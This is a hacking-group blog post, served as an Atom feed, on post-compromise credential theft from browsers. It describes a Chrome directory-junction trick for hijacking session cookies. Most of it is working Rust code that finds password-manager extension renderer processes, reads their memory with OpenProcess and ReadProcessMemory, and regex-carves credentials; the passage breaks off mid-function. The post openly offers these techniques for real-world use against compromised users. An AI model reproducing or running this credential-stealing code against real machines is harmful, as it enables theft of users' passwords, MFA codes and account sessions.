<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>Future Sight</title>
    <subtitle>hacking &#x2F; security &#x2F; reverse engineering &#x2F; low-level &#x2F; counterculture</subtitle>
    <link rel="self" type="application/atom+xml" href="https://futuresight.club/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://futuresight.club"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-04-22T00:00:00+00:00</updated>
    <id>https://futuresight.club/atom.xml</id>
    <entry xml:lang="en">
        <title>Extending my access: Abusing installed extensions for post compromise</title>
        <published>2026-04-22T00:00:00+00:00</published>
        <updated>2026-04-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://futuresight.club/posts/extending-my-access/"/>
        <id>https://futuresight.club/posts/extending-my-access/</id>
        
        <content type="html" xml:base="https://futuresight.club/posts/extending-my-access/">&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;&#x2F;h2&gt;
&lt;p&gt;Welcome to another post from the research group! As usual, we&#x27;ll be talking about a new attack vector that we found and, better yet, one that can be reproduced in the real world. This time, we&#x27;re exploring how to abuse installed browser extensions to extend our access on a compromised machine. It&#x27;s post-compromise because initial access is lame :D.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;motivation&quot;&gt;Motivation&lt;&#x2F;h2&gt;
&lt;p&gt;The true motivation for this research was the new (now not so new) &lt;a href=&quot;https:&#x2F;&#x2F;developer.chrome.com&#x2F;blog&#x2F;remote-debugging-port&quot;&gt;Changes to remote debugging switches to improve security&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Nowadays, most attackers aim for the &lt;strong&gt;identity&lt;&#x2F;strong&gt; of the user instead of the machine itself, and for that, they need to compromise the user&#x27;s session. One of the most common ways to do that was simply retrieving cookies from the browser. But then &lt;a href=&quot;https:&#x2F;&#x2F;security.googleblog.com&#x2F;2024&#x2F;07&#x2F;improving-security-of-chrome-cookies-on.html&quot;&gt;App Bound Encryption&lt;&#x2F;a&gt; came along, and attackers shifted to abusing the remote debugging protocol. Ngl, it&#x27;s kinda funny that Google closed the gate but forgot to install the fence...
&lt;img src=&quot;media&amp;#x2F;gate.png&quot; alt=&quot;Gate&quot; loading=&quot;lazy&quot;&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;But alas, the remote debugging protocol was then restricted to non-default profiles only. If you wanted to use it, you had to create a new profile, which would for sure raise some eyebrows, and you wouldn&#x27;t be able to retrieve those tasty cookies from the user&#x27;s actual session.
&lt;img src=&quot;media&amp;#x2F;gate++.png&quot; alt=&quot;Gate++&quot; loading=&quot;lazy&quot;&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;And that, folks, is where we started our research to find a way to retrieve those sessions &amp;gt;:).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-bad-workaround&quot;&gt;The bad workaround&lt;&#x2F;h2&gt;
&lt;p&gt;After reading the new changes to the remote debugging protocol, we took a full 0.25μs to try to abuse Microslop&#x27;s &lt;a href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;fileio&#x2F;hard-links-and-junctions&quot;&gt;Directory Junctions&lt;&#x2F;a&gt; in order to trick Chrome into thinking the default profile was actually a non-default one. We know we could have just read the source code and seen how the check was being made, but first, nobody has time for that, and second, our hands were already typing the command to create the junction. So we balled.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-bypass-that-wasn-t-but-kinda-was&quot;&gt;The bypass that wasn&#x27;t (but kinda was)&lt;&#x2F;h3&gt;
&lt;p&gt;What came out of that was that the check won, BUT we found something interesting tho. We gotta be honest: at first we thought the bypass worked, but that was only due to the weird behaviour attached to the junction creation.&lt;&#x2F;p&gt;
&lt;p&gt;When you create a junction, you make a softlink to another folder. The original folder still exists, and if you try to access it, it just redirects you to the new one. However, when used with Chrome, the browser won&#x27;t present you with your previous session. Instead, it creates a &lt;strong&gt;new session&lt;&#x2F;strong&gt; but with your previous preferences (bookmarks, extensions, etc.).&lt;&#x2F;p&gt;
&lt;p&gt;The most interesting part came when we tried to log in to a website with the new profile. We were able to log in successfully and retrieve the cookies from it (nothing new here, yet). But when the junction was later removed, the &lt;strong&gt;original profile remained logged in&lt;&#x2F;strong&gt; with the sessions created through the junction. HMMMMMMMMMMM...&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-attack-chain&quot;&gt;The attack chain&lt;&#x2F;h3&gt;
&lt;p&gt;So we had a way:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Create a junction to the default profile&lt;&#x2F;li&gt;
&lt;li&gt;Fool the user into using this profile by changing the taskbar shortcut&lt;&#x2F;li&gt;
&lt;li&gt;Remove the junction and flee with our tasty cookies&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;The scuffed part of this attack is that when the shortcut was launched, Chrome wouldn&#x27;t stack the icons and would just create a new one... but hey, it was a start.&lt;&#x2F;p&gt;
&lt;p&gt;The weird behaviour can be seen in the video below, and a small tool was created to automate the process. You can find it &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Future-Sight-Group&#x2F;junctrap&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;video preload=&quot;none&quot; src=&quot;media&amp;#x2F;weird_behavior.mp4&quot; controls&gt;&lt;&#x2F;video&gt;
&lt;h2 id=&quot;the-good-strategy&quot;&gt;The good strategy&lt;&#x2F;h2&gt;
&lt;p&gt;After the junction adventure, we started probing other ways to get the same access as the user but without relying on cookies (we are on a diet now). For this, we took a step back, not on the viewpoint, but literally on the session creation.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;from-cookie-theft-to-credential-theft&quot;&gt;From cookie theft to credential theft&lt;&#x2F;h3&gt;
&lt;p&gt;Users tend to log in to their machines with the usual bad passwords, and for years &lt;code&gt;passwords.txt&lt;&#x2F;code&gt; or &lt;code&gt;creds.xls&lt;&#x2F;code&gt; have been a fun way to get credentials out of compromised users. But nowadays, with the rise of password managers, users tend to store their credentials in there.&lt;&#x2F;p&gt;
&lt;p&gt;Some password managers even allow users to store MFA codes, which is pretty neat but also kinda removes the M in MFA. Oh well, we&#x27;re not here to judge. So we thought: &lt;strong&gt;what if we could just steal the password manager data?&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;enter-the-extensions&quot;&gt;Enter the extensions&lt;&#x2F;h3&gt;
&lt;p&gt;And that is where extensions come into play (we know we took 700ish words to get here... but ʕ •ᴥ•ʔ with us).&lt;&#x2F;p&gt;
&lt;p&gt;Most password managers have a browser extension for easier access to credentials. Users don&#x27;t want the hassle of opening the password manager app, searching for the credentials, and then copying and pasting them, they just want to click the extension, search, and auto-fill. Pretty neat, but it also opens a new attack vector.&lt;&#x2F;p&gt;
&lt;p&gt;When you open the UI of an extension, it&#x27;s rendered in a &lt;strong&gt;separate process&lt;&#x2F;strong&gt; from the browser, running with the same privileges as the user. That UI may contain structured data, such as the credentials the password manager is displaying, and that data can be exfiltrated if an attacker manages to access it, this is due to the fact that extensions weren&#x27;t really designed to handle sensitive data. We can go on and on about how the browser in itself is just patchwork to make something that wasn&#x27;t designed with security in mind a lil bit more secure, but let&#x27;s go back to the point.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-1-finding-the-extension-process&quot;&gt;Step 1: Finding the extension process&lt;&#x2F;h3&gt;
&lt;p&gt;To access the extension&#x27;s rendering data, we first need to know which process is rendering the extension UI. We can iterate over running processes and check their command lines. Most of the time, extension renderer processes have &lt;code&gt;--type=renderer --extension-process&lt;&#x2F;code&gt; in their arguments:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; This will be called by main: `let pids = enumerate::get_program_pids(&amp;quot;msedge.exe&amp;quot;, Some(r&amp;quot;--type=renderer --extension-process&amp;quot;));`
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;pub fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;get_program_pids&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;program_name&lt;&#x2F;span&gt;&lt;span&gt;: &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;command_line_regex&lt;&#x2F;span&gt;&lt;span&gt;: Option&amp;lt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;) -&amp;gt; Vec&amp;lt;Pid&amp;gt; {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; regex_filter = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if let &lt;&#x2F;span&gt;&lt;span&gt;Some(pattern) = command_line_regex {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;match &lt;&#x2F;span&gt;&lt;span&gt;Regex::new(pattern) {
&lt;&#x2F;span&gt;&lt;span&gt;            Ok(re) =&amp;gt; Some(re),
&lt;&#x2F;span&gt;&lt;span&gt;            Err(_) =&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;Vec::new(),
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        None
&lt;&#x2F;span&gt;&lt;span&gt;    };
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; system = System::new_all();
&lt;&#x2F;span&gt;&lt;span&gt;    system.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;refresh_all&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; pids: Vec&amp;lt;Pid&amp;gt; = Vec::new();
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; process in system.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;processes_by_name&lt;&#x2F;span&gt;&lt;span&gt;(OsStr::new(program_name)) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if let &lt;&#x2F;span&gt;&lt;span&gt;Some(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;ref&lt;&#x2F;span&gt;&lt;span&gt; re) = regex_filter {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; full_command = process.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;cmd&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(OsStr::new(&amp;quot; &amp;quot;));
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if let &lt;&#x2F;span&gt;&lt;span&gt;Some(cmd_str) = full_command.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;to_str&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; re.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;is_match&lt;&#x2F;span&gt;&lt;span&gt;(cmd_str) {
&lt;&#x2F;span&gt;&lt;span&gt;                    pids.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(process.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;pid&lt;&#x2F;span&gt;&lt;span&gt;());
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;        } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            pids.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(process.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;pid&lt;&#x2F;span&gt;&lt;span&gt;());
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    pids
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;step-2-getting-a-proc-handle&quot;&gt;Step 2: Getting a proc handle&lt;&#x2F;h3&gt;
&lt;p&gt;After retrieving the process, we need to get a handle to it and probe its memory. For that, we use the &lt;code&gt;OpenProcess&lt;&#x2F;code&gt; API with &lt;code&gt;PROCESS_VM_READ&lt;&#x2F;code&gt; and &lt;code&gt;PROCESS_QUERY_INFORMATION&lt;&#x2F;code&gt; permissions:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;SNIP&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;unsafe &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Get a handle to the process with VM READ and QUERY permissions
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; process_handle = ProcessHandle(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt; OpenProcess(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;PROCESS_VM_READ &lt;&#x2F;span&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;PROCESS_QUERY_INFORMATION&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;, pid) {
&lt;&#x2F;span&gt;&lt;span&gt;            Ok(handle) =&amp;gt; handle,
&lt;&#x2F;span&gt;&lt;span&gt;            Err(e) =&amp;gt; {
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; verbose {
&lt;&#x2F;span&gt;&lt;span&gt;                    println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[-] Failed to open process: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, e);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;Err(e.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;into&lt;&#x2F;span&gt;&lt;span&gt;());
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;        });
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;SNIP&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;step-3-scanning-memory-regions&quot;&gt;Step 3: Scanning memory regions&lt;&#x2F;h3&gt;
&lt;p&gt;With the handle in hand, we iterate over the memory regions using &lt;code&gt;VirtualQueryEx&lt;&#x2F;code&gt; to retrieve information about each region (base address, size, state, protection, etc.).&lt;&#x2F;p&gt;
&lt;p&gt;We specifically look for regions that are &lt;strong&gt;committed&lt;&#x2F;strong&gt; and of a &lt;strong&gt;private&lt;&#x2F;strong&gt; type:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Private memory&lt;&#x2F;strong&gt; is memory that was allocated by the process and is not shared with other processes&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Committed memory&lt;&#x2F;strong&gt; is memory that was defined by the process has being used&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;If a region matches both criteria, it likely contains data actively used by the process, such as the credentials displayed in the extension UI. We then use &lt;code&gt;ReadProcessMemory&lt;&#x2F;code&gt; to dump it into a buffer for analysis:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;SNIP&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; address: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;usize &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; mem_info: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;MEMORY_BASIC_INFORMATION &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;zeroed&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Iterate over memory regions
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span&gt; VirtualQueryEx(process_handle.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, Some(address as &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;*const c_void&lt;&#x2F;span&gt;&lt;span&gt;), &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; mem_info, size_of::&amp;lt;MEMORY_BASIC_INFORMATION&amp;gt;()) != &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Check if the memory is committed and of a private type
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; mem_info.State == &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;MEM_COMMIT &lt;&#x2F;span&gt;&lt;span&gt;&amp;amp;&amp;amp; mem_info.Type == &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;MEM_PRIVATE &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; buffer: Vec&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; = vec![&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; mem_info.RegionSize];
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; bytes_read: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;usize &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Read the memory region into the buffer
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; result = ReadProcessMemory(process_handle.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, mem_info.BaseAddress, buffer.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;as_mut_ptr&lt;&#x2F;span&gt;&lt;span&gt;() as &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;*mut c_void&lt;&#x2F;span&gt;&lt;span&gt;, mem_info.RegionSize, Some(&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; bytes_read as &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;*mut &lt;&#x2F;span&gt;&lt;span&gt;_));
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt; result {
&lt;&#x2F;span&gt;&lt;span&gt;                    Ok(_) =&amp;gt; {
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; bytes_read &amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; text = String::from_utf8_lossy(&amp;amp;buffer[..bytes_read]);
&lt;&#x2F;span&gt;&lt;span&gt;                            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; extractor_fn in extractors {
&lt;&#x2F;span&gt;&lt;span&gt;                                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;extractor_fn&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;text, verbose);
&lt;&#x2F;span&gt;&lt;span&gt;                            }
&lt;&#x2F;span&gt;&lt;span&gt;                        }
&lt;&#x2F;span&gt;&lt;span&gt;                    }
&lt;&#x2F;span&gt;&lt;span&gt;                    Err(_e) =&amp;gt; {}
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Move to the next memory region
&lt;&#x2F;span&gt;&lt;span&gt;            address = mem_info.BaseAddress as &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;usize &lt;&#x2F;span&gt;&lt;span&gt;+ mem_info.RegionSize;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;SNIP&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;step-4-carving-creds&quot;&gt;Step 4: Carving creds&lt;&#x2F;h3&gt;
&lt;p&gt;Once we have our buffer filled with process memory, we can analyze it for credentials. There are two approaches:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The proper way&lt;&#x2F;strong&gt;: Unzip the extension&#x27;s source code, find the data structures (usually JSON) used to store credentials, and build a targeted extractor.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;The YOLO way&lt;&#x2F;strong&gt;: Rawdog a Regex until it works.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;No need to say which one we used :D.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;SNIP&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;pub fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;extract_credentials_chrome&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;: &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;verbose&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; strings_list: Vec&amp;lt;String&amp;gt; = Vec::new();
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; When you have a problem and you try to use regex you then have two problems, but at least you have the credentials :D
